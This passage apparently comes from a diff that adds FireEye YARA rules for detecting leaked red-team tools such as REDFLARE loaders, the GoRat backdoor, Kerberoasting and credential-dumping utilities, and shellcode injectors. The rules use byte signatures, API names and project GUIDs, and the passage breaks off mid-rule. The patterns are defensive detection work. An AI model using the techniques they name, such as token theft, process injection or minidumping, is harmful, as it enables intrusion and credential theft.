8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+        $cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 D4 63 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 D4 63 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and any of them
+}
+rule APT_Loader_Win32_REDFLARE_2
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "4e7e90c7147ee8aa01275894734f4492"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "6a585401-bfd3-5aad-b484-09b6a30d9af5"
+    strings:
+        $inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF }
+        $s1 = "ResumeThread"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSTOMP_2
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "d1a3477d-55c6-5c33-bd65-5b1e0d65f24b"
+    strings:
+        $f0 = "mscoree.dll" fullword nocase
+        $s0 = { 06 72 [4] 6F [4] 2C ?? 06 72 [4] 6F [4] 2D ?? 72 [4] 28 [4] 28 [4] 2A }
+        $s1 = { 02 28 [4] 0A 02 28 [4] 0B 02 28 [4] 0C 72 [4] 28 [4] 72 }
+        $s2 = { 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 02 28 [4] 0D 12 ?? 03 6C 28 [4] 28 [4] 72 }
+        $s3 = "SetCreationTime" fullword
+        $s4 = "GetLastAccessTime" fullword
+        $s5 = "SetLastAccessTime" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule Loader_MSIL_NetshShellCodeRunner_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2"
+    strings:
+        $typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_4
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPivot project."
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c1bd64da-6a54-5bc6-8a89-9c8a93dd965c"
+    strings:
+        $typelibguid1 = "44B83A69-349F-4A3E-8328-A45132A70D62" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Backdoor_Win_GoRat_Memory
+{
+    meta:
+        description = "Identifies GoRat malware in memory based on strings."
+        md5 = "3b926b5762e13ceec7ac3a61e85c93bb"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4fcdd98f-1873-58e1-a9f5-73ee0aa5a69f"
+    strings:
+        /* $murica = "murica" fullword */
+        $rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+        $rat2 = "rat.(*Core).generateBeacon" fullword
+        $rat3 = "rat.gJitter" fullword
+        $rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
+        $rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
+        $rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
+        $rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
+        $rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
+        $rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+        $rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
+        $rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
+        $winblows = "rat/platforms/win.(*winblows).GetStage" fullword
+    condition:
+        $winblows or 
+        // #murica > 10 or 
+        3 of ($rat*)
+}
+rule Loader_MSIL_AllTheThings_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1805b406-2531-56bf-8e08-e63a59ffcc84"
+    strings:
+        $typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win64_PGF_1
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+        md5 = "2b686a8b83f8e1d8b455976ae70dab6e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1f2280c0-0fdd-5930-947a-931274bccd6f"
+    strings:
+        $sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB }
+        $sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) }
+        $sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Trojan_Win_REDFLARE_5
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "dfbb1b988c239ade4c23856e42d4127b, 3322fba40c4de7e3de0fda1123b0bf5d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "892981d6-f310-5ee8-95b5-dd4bd720a86c"
+    strings:
+        $s1 = "AdjustTokenPrivileges" fullword
+        $s2 = "LookupPrivilegeValueW" fullword
+        $s3 = "ImpersonateLoggedOnUser" fullword
+        $s4 = "runCommand" fullword
+        $steal_token = { FF 15 [4] 85 C0 [1-40] C7 44 24 ?? 01 00 00 00 [0-20] C7 44 24 ?? 02 00 00 00 [0-20] FF 15 [4] FF [1-5] 85 C0 [4-40] 00 04 00 00 FF 15 [4-5] 85 C0 [2-20] ( BA 0F 00 00 00 | 6A 0F ) [1-4] FF 15 [4] 85 C0 74 [1-20] FF 15 [4] 85 C0 74 [1-20] ( 6A 0B | B9 0B 00 00 00 ) E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule CredTheft_MSIL_TitoSpecial_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "932bb013-03de-5cf7-89e9-b3232151d303"
+    strings:
+        $str1 = "Minidump" ascii wide
+        $str2 = "dumpType" ascii wide
+        $str3 = "WriteProcessMemory" ascii wide
+        $str4 = "bInheritHandle" ascii wide
+        $str5 = "GetProcessById" ascii wide
+        $str6 = "SafeHandle" ascii wide
+        $str7 = "BeginInvoke" ascii wide
+        $str8 = "EndInvoke" ascii wide
+        $str9 = "ConsoleApplication1" ascii wide
+        $str10 = "getOSInfo" ascii wide
+        $str11 = "OpenProcess" ascii wide
+        $str12 = "LoadLibrary" ascii wide
+        $str13 = "GetProcAddress" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of ($str*)
+}
+rule Builder_MSIL_G2JS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
+        md5 = "fa255fdc88ab656ad9bc383f9b322a76"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "484202c2-ac7d-5e6c-8bf1-3452a357c668"
+    strings:
+        $typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Loader_Win32_DShell_2
+{
+    meta:
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "590d98bb74879b52b97d8a158af912af"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+        $ss4 = "C:\\Users\\config.ini" fullword
+        $ss5 = "Invalid config file" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule HackTool_MSIL_SharPivot_3
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "956ba026-c2fa-55fd-be53-0cfaa345f27a"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "SharPivot" ascii wide
+        $str2 = "ParseArgs" ascii wide
+        $str3 = "GenRandomString" ascii wide
+        $str4 = "ScheduledTaskExists" ascii wide
+        $str5 = "ServiceExists" ascii wide
+        $str6 = "lpPassword" ascii wide
+        $str7 = "execute" ascii wide
+        $str8 = "WinRM" ascii wide
+        $str9 = "SchtaskMod" ascii wide
+        $str10 = "PoisonHandler" ascii wide
+        $str11 = "SCShell" ascii wide
+        $str12 = "SchtaskMod" ascii wide
+        $str13 = "ServiceHijack" ascii wide
+        $str14 = "ServiceHijack" ascii wide
+        $str15 = "commandArg" ascii wide
+        $str16 = "payloadPath" ascii wide
+        $str17 = "Schtask" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule APT_HackTool_MSIL_FLUFFY_2
+{
+    meta:
+        date = "2020-12-04"
+        modified = "2020-12-04"
+        md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8"
+    strings:
+        $s1 = "\x00Asktgt\x00"
+        $s2 = "\x00Kerberoast\x00"
+        $s3 = "\x00HarvestCommand\x00"
+        $s4 = "\x00EnumerateTickets\x00"
+        $s5 = "[*] Action: " wide
+        $s6 = "\x00Fluffy.Commands\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_FLUFFY_1
+{
+    meta:
+        date = "2020-12-04"
+        modified = "2020-12-04"
+        md5 = "11b5aceb428c3e8c61ed24a8ca50553e"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7"
+    strings:
+        $sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B }
+        $sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 }
+        $ss1 = "\x00Fluffy\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_SEATBELT_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
+        md5 = "848837b83865f3854801be1f25cb9f4d"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        date = "2020-12-08"
+        modified = "2023-01-27"
+        id = "cfd730ac-1eec-5e04-b871-c14912bc0425"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
+        $str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
+        $str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
+        $str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
+        $str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
+        $str6 = "*[System/EventID={0}]" ascii nocase wide
+        $str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
+        $str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
+        $str10 = "{0,-23}" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule HackTool_MSIL_INVEIGHZERO_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "f46fe365-ea50-5597-828e-61a7225e4c6e"
+    strings:
+        $typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_RURALBISHOP_1
+{
+    meta:
+        date = "2020-12-03"
+        modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d"
+    strings:
+        $sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
+        $sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (@sb1[1] < @sb2[1]) and (all of ($ss*)) and (all of ($tb*))
+}
+rule Loader_MSIL_RURALBISHOP_2
+{
+    meta:
+        date = "2020-12-03"
+        modified = "2020-12-03"
+        md5 = "e91670423930cbbd3dbf5eac1f1a7cb6"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "3befb3f2-81d1-5db2-84d9-773158b9837c"
+    strings:
+        $ss1 = "\x00NtMapViewOfSection\x00"
+        $ss2 = "\x00NtOpenProcess\x00"
+        $ss3 = "\x00NtAlertResumeThread\x00"
+        $ss4 = "\x00LdrGetProcedureAddress\x00"
+        $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+        $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+        $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_PrepShellcode_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
